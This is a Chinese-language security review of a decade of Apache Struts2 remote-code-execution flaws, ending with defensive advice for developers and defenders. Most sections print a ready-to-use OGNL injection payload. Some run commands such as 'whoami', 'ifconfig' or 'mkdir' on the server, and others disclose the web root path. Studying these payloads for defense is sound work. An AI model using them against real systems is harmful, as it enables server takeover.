Struts2著名RCE漏洞引发的十年之思

0x01 前言

从2007年7月23日发布的第一个Struts2漏洞S2-001到2017年12月发布的最新漏洞S2-055，跨度足足有十年，而漏洞的个数也升至55个。分析了Struts2的这55个漏洞发现，基本上是RCE、XSS、CSRF、DOS、目录遍历和其他功能缺陷漏洞等等。本篇文章，重点关注威胁性较大的那些著名RCE漏洞，也是黑客们比较喜欢利用的。

要说著名RCE(远程代码执行)漏洞，Struts2框架漏洞无外乎就那么十几个，一经爆发就被各安全厂商作为高危紧急漏洞处理，其余的一些漏洞，并没有得到很多的重视，基本上是危害不大或难以利用。在此，列出一些当年风靡一时过的漏洞：S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。这里列出的只是个人觉得比较有名的Struts2框架漏洞，也许还不全，或者其中的漏洞并没有作者说的那么有名，仅作为参考，希望能给读者带来一些收获。

虽然上述漏洞那么多，但是其本质都是一样的(除了S2-052以外)，都是Struts2框架执行了恶意用户传进来的OGNL表达式，造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等，只不过需要精心构造不同的OGNL代码而已。那么，漏洞都是如何触发，或者说，如何注入OGNL表达式，造成RCE，下面用一个表来简要概括：

注入点	注入代码写法
request 参数名、cookie 名	(ognl)(constant) = value &(constant)((ognl1) (ognl2))
request 参数值	%{ognl}、${ognl}、'ognl'、(ognl)
request 的 filename	%{ognl}、${ognl}
request 的 URL	/%{ognl}.action、/${ognl}.action
request 的 content-type	%{ognl}、${ognl}

上面表格可以说是简要总结了下请求可注入的地方，涵盖了HTTP请求的多个点，并且有些点爆发的漏洞不止一个。参数名注入有S2-003、S2-005，cookie名注入在官方S2-008漏洞介绍的第二个提到过；参数值注入就比较多了，包括S2-007、S2-009、S2-012等基本都是；filename注入是指S2-046漏洞，content-type注入是指S2-045漏洞；URL的action名称

处注入是S2-015漏洞。先做个简要了解，下面会对各个漏洞的触发进行分别介绍，由于文章篇幅有限，不可能每个漏洞都展开分析，所以仅作个总结性的介绍。

0x02 著名RCE漏洞总结

1、S2-003/S2-005漏洞

这两个漏洞有着密不可分的联系，根据先后顺序，从S2-003入手。S2-003漏洞发生在请求参数名，Struts2框架会对每个请求参数名解析为OGNL语句执行，因此，恶意用户可通过在参数名处注入预先设定好的OGNL语句来达到远程代码执行的攻击效果；漏洞就出现在com.opensymphony.xwork2.interceptor.ParametersInterceptor这个拦截器中，如下图所示：

```
284     for (Map.Entry<String, Object> entry : acceptableParameters.entrySet()) {
285         String name = entry.getKey();
286         Object value = entry.getValue();
287         try {
288             newStack.setValue(name, value);
289         } catch (RuntimeException e) {
290             if (devMode) {
291                 String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", A
292                         "Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + e.getMessage()
293                 });
294                 LOG.error(developerNotification);
295                 if (action instanceof ValidationAware) {
296                     ((ValidationAware) action).addActionMessage(developerNotification);
297                 }
298             }
299         }
```

S2-003的PoC：

```
(b)
(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5
C75false')(b))&(g)
(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest
()')(d))&(i2)
(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getRespon
se()')(d))&(i95)
(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')
(d))&(i99)(('%5C43xman.getWriter().close()')(d))
```

S2-005的PoC：

```
('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)
(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5
C75false')(b))&('%5C43c')
(('%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@
EMPTY_SET')(c))&(g)
(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest
()')(d))&(i2)
(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getRespon
se()')(d))&(i2)
(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getRespon
se()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005
dir--***%22)')(d))&(i95)
(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')
(d))&(i99)(('%5C43xman.getWriter().close()')(d))
```

上面两个PoC的功能都是Web路径探测并打印回显。两个漏洞都需要对#字符进行编码，绕过Struts2框架对#字符的过滤。观察两个PoC，可以发现，S2-005前面多了一段('%5C43_memberAccess.allowStaticMethodAccess')(a)=true，打开安全配置(静态方法调用)，其实官方对S2-003的修复就只是关闭静态方法调用，绕过这个修复很简单，所以就有了S2-005。

2、S2-007漏洞

用户输入将被当作OGNL表达式解析，当对用户输入进行验证出现类型转换错误时。如配置了验证规则-validation.xml时，若类型验证转换出错，后端默认会将用户提交的表单值通过字符串拼接，然后执行一次OGNL表达式解析并返回。

漏洞PoC：

```
'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwor
k.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23r
et=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io
.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23d
ata.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@
org.apache.struts2.ServletActionContext@getResponse(),%23out.getWri
ter().println(%23echo))%2b'
```

PoC为何这样写，是因为需要后端用代码拼接"'" + value + "'"然后对其进行OGNL表达式解析。

3、S2-008漏洞

这个编号，官方发布了四个漏洞，其实，第1、3、4分别是S2-007、S2-009、S2-019漏洞。第2个说的是CookieInterceptor拦截器缺陷，利用道理和S2-005差不多，只不过是在cookie名称处注入，由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显得比较鸡肋，网上也并没有相关分析介绍。

4、S2-009漏洞

谈起这个漏洞，绝对要回顾下S2-003/S2-005漏洞，两者的共同点是同样是发生在ParametersInterceptor拦截器中的漏洞。只不过在S2-005漏洞中，OGNL表达式通过参数名处注入，造成远程命令执行，而S2-009漏洞的OGNL表达式通过参数值注入。看一段PoC：

```
foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
```

因此，S2-009漏洞可以绕过ParametersInterceptor拦截器对参数名的限制。至于，漏洞是如何触发执行的，可以简要介绍下。foo参数值必须是action的字符串变量，OGNL表达式被写入foo变量中，然后ParametersInterceptor拦截器在对第二参数名处理时，会取出foo值并作为OGNL表达式解析执行，造成远程代码执行漏洞。

5、S2-012漏洞

漏洞利用正如官方所说的，需要满足一定的条件。首先，得找到action中的字符串变量name，将OGNL表达式注入进去。随后，如下图，配置文件中得有重定向类型，并且重定向的链接中存在${name}取值操作，那么注入进的OGNL表达式就会执行。

```
<package name="S2-012" extends="struts-default">
    <action name="user" class="org.apache.struts2.showcase.action.TestAction">
        <result type="redirectAction">/date.jsp?tempName=${name}</result>
    </action>
</package>
```


PoC展示：

```
%{(#_memberAccess['allowStaticMethodAccess']=true)
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse
().getWriter(),#hackedbykxlzx.println('hacked by
kxlzx'),#hackedbykxlzx.close())}
```

6、S2-013漏洞

这个漏洞，确实有点不好利用，需要在JSP页面中将s:url、s:a标签中的includeParams属性设定为get或all，一般很少有开发这么做，但是毕竟世界之大，无奇不有。如果存在相应的漏洞环境，直接将PoC贴在action请求或者JSP页面请求的后面。

PoC展示：

```
fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3D
true)
(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse
)
(%23writer%3D%40org.apache.struts2.ServletActionContext%40getRespon
se().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())
%7D
```

其中的变量名是任意的。利用时要确保action请求跳转到的JSP或者请求的JSP中存在将includeParams属性设定为get或all的s:url、s:a标签。

7、S2-015漏洞

这个漏洞，先参考下官方给的配置，如下：

```
<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>
```


再展示下PoC：

```
${%23context['xwork.MethodAccessor.denyMethodExecution']=!
(%23_memberAccess['allowStaticMethodAccess']=true),
(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()}.action
```

是一段弹计算器的PoC。上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面，但是在提取 name 并解析时，对其执行了 OGNL 表达式解析，所以导致命令执行。

8、S2-016漏洞

S2-016漏洞算是Struts2漏洞界的经典，当时也是风靡一时。首先，可以查一下"action:", "redirect:" ，"redirectAction:"等前缀参数是干什么的，如果不知道也没关系，说一下漏洞是如何触发的。在请求action时，后面跟上前缀参数，前缀参数后面直接写上OGNL表达式，像下面PoC展示。

PoC展示：

```
redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
```

上面的OGNL表达式会造成Web路径探测并打印回显。没错，就是这么简单，利用十分方便，所以当时受到了相当的重视。至于漏洞是如何触发，主要是发生在DefaultActionMapper中，这个可自行跟踪调试。

9、S2-019漏洞

这个漏洞在说S2-008的时候提到过，属于S2-008发布的第四个漏洞，也就是DebuggingInterceptor拦截器中的缺陷漏洞。这个漏洞要保证配置中的开发模式是打开的，。

PoC展示：

```
debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-
8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22S2-019        dir--***%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()
```

上述PoC的写法，包括参数名都是固定写法，漏洞触发是在DebuggingInterceptor这个拦截器类中，所以在跟踪调试时候需要好好研究这个类，就会明白PoC的形式为何这么写。

10、S2-029漏洞

官方标注漏洞等级为Important，算是中危漏洞了。这个漏洞利用，可以说是非常难，漏洞的原理是二次OGNL表达式执行，在框架中是存在几处，比如i18n源码处、UIBean处等等。

PoC展示：

```
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allo
wProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatter
ns']=%23_memberAccess['acceptProperties'],%23_memberAccess['exclude
dClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['a
llowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMeth
odAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.
Runtime@getRuntime().exec('whoami').getInputStream()))
```

11、S2-032/S2-033/S2-037漏洞

这三个漏洞都是抓住了DefaultActionInvocation中会把ActionProxy中的method属性取出来放入到ognlUtil.getValue(methodName + “()”, getStack().getContext(), action);方法中执行OGNL表达式。因此，想方设法将恶意构造的OGNL表达式注入到method中。S2-032是通过前缀参数“method:OGNL表达式”的形式；S2-033是通过“actionName!method”的方式，用OGNL表达式将method替换；S2-037是通过“actionName/id/methodName”的方式，用OGNL表达式将methodName替换。三种漏洞只是注入形式不一样，PoC完全可以复用，OGNL表达式执行的点也一样，上面已经说到。

PoC展示：

```
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3
d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3
d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.
setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.ge
tRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print
(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8
```

12、S2-045/S2-046漏洞

S2-045漏洞和S2-046漏洞非常相似，都是由报错信息包含OGNL表达式，并且被带入了buildErrorMessage这个方法运行，造成远程代码执行，两个漏洞的PoC可以复用。S2-045只有一种触发形式，就是将OGNL表达式注入到HTTP头的Content-Type中；S2-046则有两种利用形式，第一是Content-Length 的长度值超长，第二是Content-Disposition的filename存在空字节，但两种触发形式其OGNL表达式注入点都是Content-Disposition的filename中。

PoC展示：

```
%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).
(#o=@org.apache.struts2.ServletActionContext@getResponse().getWrite
r()).(#o.println(88888888-23333+1222)).(#o.close())}
```

13、S2-048漏洞

在看这个漏洞前，可以去看看官网的S2-027的介绍，意思就是，在框架中存在两个函数会解析执行OGNL表达式，TextParseUtil.translateVariables方法和ActionSupport's getText方法。S2-048漏洞就是因为struts2-struts1-plugin插件中存在将OGNL表达式传入上述方法的情况，所以导致远程代码执行；至于以什么形式注入OGNL表达式，当然是以参数值的形式注入，以哪个参数来注入要根据后端代码在哪用struts2-struts1-plugin插件来追踪，一般可以用PoC去fuzz。网上有以struts2-showcase.war项目为例介绍漏洞分析，可用这个项目来跟踪漏洞原理。

PoC展示：

```
%25%7b%28%23nike%3d%27multipart%2fform-
data%27%29.%28%23dm%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%2
8%23_memberAccess%3f%28%23_memberAccess%3d%23dm%29%3a%28%28%23conte
xt.setMemberAccess%28%23dm%29%29%29%29.%28%23o%3d@org.apache.struts
2.ServletActionContext@getResponse%28%29.getWriter%28%29%29.%28%23r
eq%3d@org.apache.struts2.ServletActionContext@getRequest%28%29%29.%
28%23path%3d%23req.getRealPath%28%27%2f%27%29%29.%28%23o.println%28
%23path%29%29.%28%23o.close%28%29%29%7d
```

14、S2-052漏洞

这个漏洞也算是轰动一时，其实，跟上面说的那些注入OGNL表达式，达到远程代码执行的方式还不大一样，S2-052漏洞是一种XML反序列化漏洞。漏洞本质是Struts2 REST插件的XStream组件存在反序列化漏洞，当使用XStream组件对XML格式的数据包进行反序列化操作时，没有对数据内容进行有效验证，存在反序列化后远程代码执行安全隐患。

0x03 展望

分析漏洞的最终目的是如何更好的防御，无论是网站开发人员还是专业的白帽子，都需要知道如何提前预防Struts2框架漏洞。在此，有一些展望和建议，希望对开发人员和白帽子有所作用。

网站开发人员。在接收客户端传过来的请求时，无论是HTTP请求头还是请求体的内容，都是不可信的，都需要进行有效地验证和过滤。回顾以往出现的Struts2漏洞，恶意OGNL表达式的注入点无处不在，但随着Struts2框架版本的迭代，很多漏洞也被修补，所以开发人员需要使用最新版本的框架，但是也不能完全相信框架的安全性，在基于框架的二次开发时，需要有自己的数据验证模块。从以往的请求注入点来看，开发人员需要对request中的请求参数名、参数值、cookie参数名、action的名称、Content-Type内容、filename的内容、请求体内容(反序列化漏洞)，进行验证；如何验证，只需要根据以往PoC的特征去做相关的验证判断。

网络安全守护者——白帽子。专业的网络安全人员，对于漏洞的理解也许比开发人员更深刻，因此，抛砖引玉。对于Struts2漏洞的防御规则，抓住重要的点即可，就是恶意OGNL表达式的特征，针对需要远程执行的类和函数进行提取防御特征，此外，还需要结合恶意OGNL表达式注入点的特征，可避免规则误报，从而影响网站正常业务，如S2-045漏洞，就需要结合Content-Type这个特征。

攻防的较量从未停止，黑客与白帽子间的斗争也越演越烈。在Struts2框架漏洞这个战场上，需要持续深入地研究，才能占有主动权。

188 3435 5805